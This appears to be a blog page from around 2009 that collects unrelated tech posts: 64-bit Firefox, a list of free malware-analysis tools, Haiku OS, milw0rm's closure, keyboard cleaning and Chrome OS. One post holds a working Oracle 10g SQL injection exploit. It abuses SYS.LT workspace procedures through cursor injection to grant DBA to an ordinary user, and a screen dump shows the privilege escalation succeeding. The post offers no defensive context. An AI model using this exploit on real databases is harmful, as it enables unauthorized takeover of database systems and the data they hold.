Next Mozilla 3.6 with 64-bits

Mozilla 3.6 upcoming

Any Firefox fan will be quick to point out the open-source browser's numerous advantages over Microsoft's Internet Explorer, including 780 trillion add-ons (slightly exaggerated), better Web standards support, and arguably better performance and security. But one thing IE has that Firefox doesn't is a 64-bit browser, at least for the time being.

While no official 64-bit version of Firefox yet exists, one Firefox contributor who goes by the online alias Makoto has already ported both Firefox 3.0 and 3.5 to 64-bit editions, and has announced plans to do the same for versions 3.6 and up. If he holds true to his promise, it could mean official 64-bit builds might become a reality with Mozilla's next release, especially since Mozilla has talked about adding 64-bit support in the near future.

It might seem like a minor update, but a 64-bit build translates into faster speeds when logging onto sites using encryption (think of online banking), better memory management, and an overall snappier feel.

Malware Analyzing - Tools

What is malware?

I think you all know what malware is but lets start with some well known definitions:
Malware is software designed to infiltrate or damage a computer system without the owner's informed
consent. The expression is a general term meaning a variety of forms of hostile, intrusive, or annoying software or program code. Simply put, Malware is software designed to make a computer do something an attacker wants it to do. It is not always designed to destroy a computer. It may, for example, just sit on a computer, using processor cycles to crack the encryption of a certain file.

Tools for analysing malware (free and open source):

Tools
There are many different tools available that will help you analyze malware. Some of this tools are designed specially for debugging, and analyzing software, others are designed to better understand your
system. I will list some free and open source tools that can be helpful for basic malware analysing and research.

Microsoft Sysinternals
Microsoft’s Sysinternals suite is one of the best tools out there to understand your Windows environment. It includes tools such as TCPView, Process explorer, and Autoruns. This suite includes tools that let you see
what processes are running, what ports are open, what files are set to run at startup and other things.

http://technet.microsoft.com/en-us/sysinternals/bb842062.aspx

Regshot

Regshot is an open-source(GPL) registry compare utility that allows you to quickly take a snapshot of your registry and then compare it with a second one - done after doing system changes or installing a new software product.

http://sourceforge.net/projects/regshot

Snort
Snort is a free and open source network intrusion prevention system (NIPS) and network intrusion detection system (NIDS) capable of performing packet logging and real-time traffic analysis on IP networks.Snort performs protocol analysis, content searching/matching, and is commonly used to actively block or passively detect a variety of attacks and probes, such as buffer overflows, stealth port scans, web application attacks, SMB probes, and OS fingerprinting attempts, amongst other features.
I think that is very clear why snort is so important in malware analyzing.
http://www.snort.org/

NetCat
Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.
It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.
For malware research this tool is useful because it can help you to see what are the network connection after malware was installed on the machine.
http://netcat.sourceforge.net/

Software analyzing
While system orientated tools (sysinternals, netcat, etc..) helps you to understand the environment, software orianted tools helps you to understand the software. They usualy require you to understand assembly language ( I suggest you watch Vivek's Assembly primer videos). For software analysis we use debuggers. Debuggers are tools (software) that are used to analyze binaries and the output of such analysis is in low level format. I will mention only one tool for such purpose, and that is OllyDbg.It is efficient and
has many plugins available to extend its usefulness.

OllyDbg
OllyDbg is a 32-bit assembler level analysing debugger for Microsoft Windows. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable.
http://www.ollydbg.de/

Remove Malware

Use Malwarebytes Software to remove malwares from your PC......DOWNLOAD

Haiku Free OS

About Haiku OS

Haiku is an open source operating system currently in development designed from the ground up for desktop computing. Inspired by the Be Operating System, Haiku aims to provide users of all levels with a personal computing experience that is simple yet powerful, and void of any unnecessary complexities.

As a tool, software is a means to an end, and not an end in itself. The Be Operating System introduced progressive concepts and technologies that we believe represent the ideal means to the end of desktop computing. Haiku will be the realization of those concepts and technologies in the form of an operating system that is open source and free.

Haiku is not a Linux distribution.Haiku is a self-contained operating system that includes a graphical user interface tightly tied to a unique graphics system, all configuration applications, development tools, the GNU tool chain, and a bash terminal.

Milw0rm.com dead

MILWORM.COM EXISTS ............SORRY ITS BACK AGAIN...!!!

In a sudden announcement, the website's owner (a.k.a Str0ke) broke the news to the world saying he will no longer have the time to manage and update the website.Fresh exploits, video tutorials, online password cracking and more goodies were offered free of charge at Milw0rm. It is with much regret and sadness that we receieve the news.

LAST MESSAGE ON milw0rm.com

"Well, this is my goodbye header for milw0rm. I wish I had the time I did in the past to post exploits, I just don't :(. For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of, 0 to 72 hours (taking off weekends) isn't fair to the authors on this site. I appreciate and thank everyone for their support in the past. Be safe, /str0ke"

Oracle 10g SQL injection Exploit

ORACLE 10g Exploit Example

This is based on cursor injection and does not need create function
privileges:

DECLARE
D NUMBER;
BEGIN
D := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction; begin execute immediate
 ''grant dba to scott'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');
end;

#----------screen dump--------------------------------------------#
SQL> select * from user_role_privs;

USERNAME                    GRANTED_ROLE                   ADM DEF OS_
--------------------------- ------------------------------ --- --- ---
SCOTT                       CONNECT                        NO  YES NO
SCOTT                       EXECUTE_CATALOG_ROLE           NO  YES NO
SCOTT                       RESOURCE                       NO  YES NO

SQL> DECLARE
2  D NUMBER;
3  BEGIN
4  D := DBMS_SQL.OPEN_CURSOR;
5  DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction;
begin execute imme
diate ''grant dba to scott'';commit;end;',0);
6  SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
7  SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');
8  end;
9
10
11  /
DECLARE
*
ERROR at line 1:
ORA-01403: no data found
ORA-06512: at "SYS.LT", line 6118
ORA-06512: at "SYS.LT", line 6087
ORA-06512: at line 7

SQL> select * from user_role_privs;

USERNAME                    GRANTED_ROLE                   ADM DEF OS_
--------------------------- ------------------------------ --- --- ---
SCOTT                       CONNECT                        NO  YES NO
SCOTT                       DBA                            NO  YES NO
SCOTT                       EXECUTE_CATALOG_ROLE           NO  YES NO
SCOTT                       RESOURCE                       NO  YES NO

Clean Your Keyboard

Clean Keyboard With Hair Dryer

When you don't have compressed air, clear tape,Post-It notes, or even white

paper handy, Inc magazine suggests that a standard hair dryer can remove built-up dirt on and under your keys.

The hair dryer is just one of 10 methods Inc.com suggests, with varying degrees of effectiveness and cost. We're a little wary of the CyberClean and USB vacuum suggestions, being both relatively expensive for what they are and a bit single-purpose. Luckily, the hair dryer, heat on or off, fills in for that little USB gadget, if at a much higher, temporary power cost. Other suggestions, like busting out the isopropyl alcohol or entirely removing your keys for a thorough cleaning, are pretty much spot on.

Google Crome Operating System

GOOGLE CHROME OS

Google Chrome OS is an open source, lightweight operating system that will initially be targeted at netbooks. Later this year we will open-source its code, and netbooks running Google Chrome OS will be available for consumers in the second half of 2010.

Speed, simplicity and security are the key aspects of Google Chrome OS. We're designing the OS to be fast and lightweight, to start up and get you onto the web in a few seconds. The user interface is minimal to stay out of your way, and most of the user experience takes place on the web. And as we did for the Google Chrome browser, we are going back to the basics and completely redesigning the underlying security architecture of the OS so that users don't have to deal with viruses, malware and security updates. It should just work.

Google Chrome OS will run on both x86 as well as ARM chips and we are working with multiple OEMs to bring a number of netbooks to market next year. The software architecture is simple — Google Chrome running within a new windowing system on top of a Linux kernel. For application developers, the web is the platform. All web-based applications will automatically work and new applications can be written using your favorite web technologies. And of course, these apps will run not only on Google Chrome OS, but on any standards-based browser on Windows, Mac and Linux thereby giving developers the largest user base of any platform.

Google Chrome OS is a new project, separate from Android. Android was designed from the beginning to work across a variety of devices from phones to set-top boxes to netbooks. Google Chrome OS is being created for people who spend most of their time on the web, and is being designed to power computers ranging from small netbooks to full-size desktop systems. While there are areas where Google Chrome OS and Android overlap, we believe choice will drive innovation for the benefit of everyone, including Google.

We hear a lot from our users and their message is clear — computers need to get better. People want to get to their email instantly, without wasting time waiting for their computers to boot and browsers to start up. They want their computers to always run as fast as when they first bought them. They want their data to be accessible to them wherever they are and not have to worry about losing their computer or forgetting to back up files. Even more importantly, they don't want to spend hours configuring their computers to work with every new piece of hardware, or have to worry about constant software updates. And any time our users have a better computing experience, Google benefits as well by having happier users who are more likely to spend time on the Internet.